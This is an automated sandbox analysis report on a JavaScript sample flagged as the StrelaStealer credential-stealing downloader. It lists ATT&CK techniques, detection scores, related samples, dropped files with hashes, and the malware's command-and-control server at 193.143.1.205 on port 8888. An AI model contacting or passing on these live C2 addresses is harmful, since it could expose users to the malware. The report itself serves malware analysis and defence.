Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
305861283730376077.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
305861283730376077.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/DX	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000007.00000002.1400960728.000001C248A2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2623647638.0000026E168BF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/p	net.exe, 00000007.00000002.1400960728.000001C248A2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1400960728.000001C2489F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/DX	net.exe, 00000007.00000002.1400960728.000001C248A2C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1404563035.0000026E1C000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589093
Start date and time:	2025-01-11 09:26:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	305861283730376077.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 50.16.47.176, 18.213.11.84, 34.237.241.83, 54.224.241.105, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 20.12.23.50, 104.77.220.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:27:10	API Interceptor	24x Sleep call for process: powershell.exe modified
03:27:14	API Interceptor	1x Sleep call for process: net.exe modified
03:27:14	API Interceptor	2x Sleep call for process: svchost.exe modified
03:27:22	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	155442583088718889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14444181562539231561.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19165129872063820912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	kzQ25HVUbf.exe	Get hash	malicious	Lokibot	Browse	13.107.246.45
	huuG7N3jOv.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	4287eV6mBc.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.45
	Yv24LkKBY6.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	QQpQgSYkjW.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
bg.microsoft.map.fastly.net	14444181562539231561.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	155442583088718889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14444181562539231561.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29090377787711675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	871073659923481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19165129872063820912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	904223203151262489.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	44462735347649449.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49322625849282004
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Zta0:cJhXC9lHmutpJyiRDeJ/aUKrDgnmi
MD5:	95A546FD69E8F7763BFF89B350CAE6E2
SHA1:	051B384BA6F06603878CA9F14F1A3EA8A24BBCCD
SHA-256:	E9C13F2BABFC4D50587FFAE94853569F9B99DF6DB16F8B8949E59DE22BF50433
SHA-512:	4ECDC8CC02D4E62C4D7C45EA830FA043C6D43749095F6F1CFDAF3C8535DC8725D422E8F2ABF3856FAC22ED70350EE539A0498FE59B8F84A0D199BCE7CD220A8E
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf598c778, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217390267159578
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:DazaNvFv8V2UW/DLzN/w4wZi
MD5:	A24BBC9125A52C39514E0CC846707128
SHA1:	8F587037DC5D41BDA13F16152CE9BDF016E9D2E8
SHA-256:	B3B6CD0D7C21033EF38CE2F4629191E70F1BC98886CB3A2496369CAF5DC055D3
SHA-512:	E110E3934AD49FC307E05E5D186CFA4F0534E977EFBB4EFBF01D2AC73125CCD93CB27C9DFF4FE064A1985E9A71D6625EDD8F00E1F0EB343656068BD3A7D67A6E
Malicious:	false
Preview:	...x... ...............X\...;...{......................p.D..........{}......}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{....................................C......}..................l........}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08063708215695777
Encrypted:	false
SSDEEP:	3:2VyYecmdN6/fgsCrZClW/tlkZXlall+SHY/Xl+/rQLve:2VyzNafgs3GQAAS4M
MD5:	E3216A0CA0B6A05BB0540B03BE5FDEEB
SHA1:	CF113669B0FBE6B105170C52F5F2BFF4C7FF6FC5
SHA-256:	7B672D64A0174DAFE90FBA0B8538D7704B84763E21936D95C2C83D42A2D133A7
SHA-512:	FA9D1C765709DB1EBEA318E96766D74A212E46C69FD0E106E4B49FFDB262ED911C80E5E588DA378950D1FC9A804BB26D3EE882D6D1935EE1C9342F133131E0FD
Malicious:	false
Preview:	._:Q.....................................;...{.......}.......{}..............{}......{}.vv_Q.....{}.................l........}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.196997233891322
Encrypted:	false
SSDEEP:	6:iOlUfq2PqLTwi2nKuAl9OmbnIFUtHUrMZmwpUrskwOqLTwi2nKuAl9OmbjLJ:7afv8wZHAahFUt0rM/mrs5TwZHAaSJ
MD5:	19591DCD1D136EBCA3291D71A610ED49
SHA1:	C83F0BFC03CB1389DEB1A1B206751DA9B80BF723
SHA-256:	C85D02C857A6390C033B2699F146D26C027D7E7901B31F6FF12162601C1B226A
SHA-512:	FB84F7501B60887C96CF279C712EFA63A7D1E0E0F5CF488D3F8FA6000FBF1FC856A1C1D541D94828B3994B65F98F019D33098FE77FD4BBD774463CC3DD764B97
Malicious:	false
Preview:	2025/01/11-03:27:14.925 1f50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:27:14.927 1f50 Recovering log #3.2025/01/11-03:27:14.927 1f50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.196997233891322
Encrypted:	false
SSDEEP:	6:iOlUfq2PqLTwi2nKuAl9OmbnIFUtHUrMZmwpUrskwOqLTwi2nKuAl9OmbjLJ:7afv8wZHAahFUt0rM/mrs5TwZHAaSJ
MD5:	19591DCD1D136EBCA3291D71A610ED49
SHA1:	C83F0BFC03CB1389DEB1A1B206751DA9B80BF723
SHA-256:	C85D02C857A6390C033B2699F146D26C027D7E7901B31F6FF12162601C1B226A
SHA-512:	FB84F7501B60887C96CF279C712EFA63A7D1E0E0F5CF488D3F8FA6000FBF1FC856A1C1D541D94828B3994B65F98F019D33098FE77FD4BBD774463CC3DD764B97
Malicious:	false
Preview:	2025/01/11-03:27:14.925 1f50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:27:14.927 1f50 Recovering log #3.2025/01/11-03:27:14.927 1f50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.224353800739913
Encrypted:	false
SSDEEP:	6:iOlURs9+q2PqLTwi2nKuAl9Ombzo2jMGIFUtHUqSH3JZmwpUOX9VkwOqLTwi2nK3:7aRbv8wZHAa8uFUt0nHZ/mOT5TwZHAaU
MD5:	9BB2D8A65B04277F86DF78D027C8BF19
SHA1:	0B3EC05956AD5C08279C572ED992A8BBF9ADE063
SHA-256:	4EFCD520E7FCA2A640D4DD553341C564DA3F8FF63C68E179168B1AC36FD8F913
SHA-512:	B397AAA54A33FC32A1C66046A7F32B27AB60B0E111B90EF9E752B281D7B0137E7A4A756417439BDB51AD1417D0CAC9B706918F20006D854746AFA566CE568E82
Malicious:	false
Preview:	2025/01/11-03:27:14.965 1308 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:27:14.966 1308 Recovering log #3.2025/01/11-03:27:14.967 1308 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.224353800739913
Encrypted:	false
SSDEEP:	6:iOlURs9+q2PqLTwi2nKuAl9Ombzo2jMGIFUtHUqSH3JZmwpUOX9VkwOqLTwi2nK3:7aRbv8wZHAa8uFUt0nHZ/mOT5TwZHAaU
MD5:	9BB2D8A65B04277F86DF78D027C8BF19
SHA1:	0B3EC05956AD5C08279C572ED992A8BBF9ADE063
SHA-256:	4EFCD520E7FCA2A640D4DD553341C564DA3F8FF63C68E179168B1AC36FD8F913
SHA-512:	B397AAA54A33FC32A1C66046A7F32B27AB60B0E111B90EF9E752B281D7B0137E7A4A756417439BDB51AD1417D0CAC9B706918F20006D854746AFA566CE568E82
Malicious:	false
Preview:	2025/01/11-03:27:14.965 1308 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:27:14.966 1308 Recovering log #3.2025/01/11-03:27:14.967 1308 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966073469579267
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqgzWsBdOg2H0Ocaq3QYiub5P7E4T3y:Y2sRdsvdMH0x3QYhbt7nby
MD5:	6401A29CD3C637137776D4EF40A781D0
SHA1:	6C5F33D4793E8E3FFA28FED0F9CCEF3EDFBB16AA
SHA-256:	49AB6EDDC6F21F9673DCCEF54C7827CBA5926DC8E25A0FF22D22515F20AE61DE
SHA-512:	4BE55265F1140BF27763C7A36A905801BE08E1F1539F48CE0323718376566AB56942216210F56F486BA1F84E7FAEF38DD497CA5FB4D5B997846C0608DCE9861F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381144046510125","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124763},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cfed94ef-b0f6-4c8e-a4c7-fd4eb75eeb47.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966073469579267
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqgzWsBdOg2H0Ocaq3QYiub5P7E4T3y:Y2sRdsvdMH0x3QYhbt7nby
MD5:	6401A29CD3C637137776D4EF40A781D0
SHA1:	6C5F33D4793E8E3FFA28FED0F9CCEF3EDFBB16AA
SHA-256:	49AB6EDDC6F21F9673DCCEF54C7827CBA5926DC8E25A0FF22D22515F20AE61DE
SHA-512:	4BE55265F1140BF27763C7A36A905801BE08E1F1539F48CE0323718376566AB56942216210F56F486BA1F84E7FAEF38DD497CA5FB4D5B997846C0608DCE9861F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381144046510125","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124763},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2324596668392065
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzoGScP:1CDLCmPj8j0/8qKgwPHYPx8xemT8Ozok
MD5:	C6E991E89C170F1725CE9616DA01D240
SHA1:	EB2218D75FE02D8E7261381B27CDF48E8D8EAC4B
SHA-256:	136D871E699360BD28FE05E8FB2525ED6934B925B8AFDE0863F4535E2274D6A1
SHA-512:	CC0BB137A14BE3666853DC35874F49C3118542548A1FA1C246421281E8A6A6B9FA353E9717DF0005FD5F584105189789641F43D5D4E75737AE8967039241B8D5
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.173882098507374
Encrypted:	false
SSDEEP:	6:iOlUes9+q2PqLTwi2nKuAl9OmbzNMxIFUtHUT1JZmwpUrUK39VkwOqLTwi2nKuAo:7a0v8wZHAa8jFUt0Tv/mrUy5TwZHAa8E
MD5:	4A3180B63D57679C436CCBC35C76AA6D
SHA1:	7CA629989D5489A5B660374AF8CF2E3F65299E5A
SHA-256:	FA4D8E4F8BA8682B64D1F732D261E18A3C7839F67248453EE03B8B22073E718B
SHA-512:	136456FF9FCF775D758518EA552104A0C770237727B37AD0F474CBAAE307B5C1DCC3505A9E001D07232BD7FEC9184D31C942FF454AC01217BFD54C8A63AAB5B5
Malicious:	false
Preview:	2025/01/11-03:27:15.325 1308 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:27:15.341 1308 Recovering log #3.2025/01/11-03:27:15.349 1308 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.173882098507374
Encrypted:	false
SSDEEP:	6:iOlUes9+q2PqLTwi2nKuAl9OmbzNMxIFUtHUT1JZmwpUrUK39VkwOqLTwi2nKuAo:7a0v8wZHAa8jFUt0Tv/mrUy5TwZHAa8E
MD5:	4A3180B63D57679C436CCBC35C76AA6D
SHA1:	7CA629989D5489A5B660374AF8CF2E3F65299E5A
SHA-256:	FA4D8E4F8BA8682B64D1F732D261E18A3C7839F67248453EE03B8B22073E718B
SHA-512:	136456FF9FCF775D758518EA552104A0C770237727B37AD0F474CBAAE307B5C1DCC3505A9E001D07232BD7FEC9184D31C942FF454AC01217BFD54C8A63AAB5B5
Malicious:	false
Preview:	2025/01/11-03:27:15.325 1308 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:27:15.341 1308 Recovering log #3.2025/01/11-03:27:15.349 1308 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438312367325051
Encrypted:	false
SSDEEP:	384:ye+ci5GtiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pBurVgazUpUTTGt
MD5:	DBFA5DCBAC8EEBB665932A56ED98AB3C
SHA1:	ABBCBCC64A1D208B4E1DE8A26A37D0D9A7A1726F
SHA-256:	8493F40348F6721A98B92A44A7EF0C3847824B34C713CE4D7BF90511BE18B5D4
SHA-512:	26CA719F68CD4B97040D7745C4EAAF24F32982EB3CC64AAC6F682C4C41C96B41F31FAC86E32AE8970492881874845CCED51828EAF4C7DCD00100A4D8984E080E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7667689448252757
Encrypted:	false
SSDEEP:	48:7MrJioyVj/ioyecoy1C7oy16oy186KOioy1noy1AYoy1Wioy1oioykioyBoy1noq:7IJuLBoXjBicb9IVXEBodRBk0
MD5:	8E3B6DB462E20323D79892DBFC079B81
SHA1:	4D2D130314EC5E8D080084807BE39C816556C643
SHA-256:	B95422F598217FED92FD74319C194607B20C3A99F7BDE34688DFE38BE82A2562
SHA-512:	9C312F54CF3915D2EC812A2005AC8864CD9BDE1575EF48D19B2546880E8DF799722445812DD62A419E3F3E785330695217A9051932772B672D01644933F7D7D1
Malicious:	false
Preview:	.... .c.......{p...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
